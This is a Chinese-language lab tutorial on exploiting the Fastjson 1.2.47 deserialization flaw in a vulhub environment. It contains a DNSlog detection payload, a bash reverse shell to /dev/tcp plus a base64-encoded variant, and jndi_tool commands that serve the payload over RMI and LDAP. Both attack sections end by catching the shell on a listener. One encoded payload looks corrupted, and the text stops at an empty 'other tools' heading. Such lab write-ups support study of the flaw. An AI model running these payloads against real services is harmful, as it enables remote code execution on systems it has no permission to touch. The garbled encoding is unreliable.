FastJson漏洞复现
环境:vulhub/fastjson
Fastjson是阿里巴巴公司开源的一个高性能的Java库,专门用于处理JSON数据格式。
它不仅能够将Java对象序列化为JSON格式的字符串,还能将JSON字符串反序列化为Java对象。
漏洞发现
- 出现
json
格式的地方,就可能使用FastJsson
1.通过报错页面可以识别使用FastJsson
2.再通过DNSlog平台确认存在漏洞
- 打开DNSlog平台成临时子域名:http://dnslog.cn/
-
bp抓包,将请求体改为以下内容并发送,发现返回DNS地址
{
"@type":"java.net.Inet4Address",
"val":"qoxjdd.dnslog.cn"
}
FastJs0n-1.2.47(反序列化)
原理:
fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
影响版本:
Fastjson1.2.48之前
这里直接利用工具jndi_tool(需要jdk8环境)
https://github.com/wyzxxz/jndi_tool
利用一:JNDI注入+RMI
JNDl(The Java Naming and Directory Interface,Java 命名和目录接口):一组在 Java 应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得可以用名称访问对象。
RMI:Java远程方法调用,是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。使客户机上运行的程序可以调用远程服务器上的对象。
-
反弹shell语句为:
bash -i >& /dev/tcp/8.8.8.8/4444 0>&1
-
在java中需要对其进行base64编码(大括号内不能有空格):
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjguOC44LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}
-
使用工具生成payload,并开启
9999
端口的监听:java -cp jndi_tool.jar jndi.HRMIServer 攻击机ip 端口"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjIx0S4xNjEu0Dgv0TA5MCAwPiYx}|{base64,-d}|{bash,-i}"
- 把payload通过bp发送给靶机,注意必须更改为
POST
请求和Content-Type
- 攻击机开启端口监听,即可收到shell
利用二:JNDI注入+LDAP
LDAP是轻量级目录访问协议
-
基本用法不变,只是将
jndi.HRMIServer
改为jndi.HLDAPServer
java -cp jndi_tool.jar jndi.HLDAPServer 攻击机ip 端口"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjIx0S4xNjEu0Dgv0TA5MCAwPiYx}|{base64,-d}|{bash,-i}"
- 把payload通过bp发送给靶机,注意必须更改为
POST
请求和Content-Type
- 攻击机开启端口监听,即可收到shell
其他利用工具: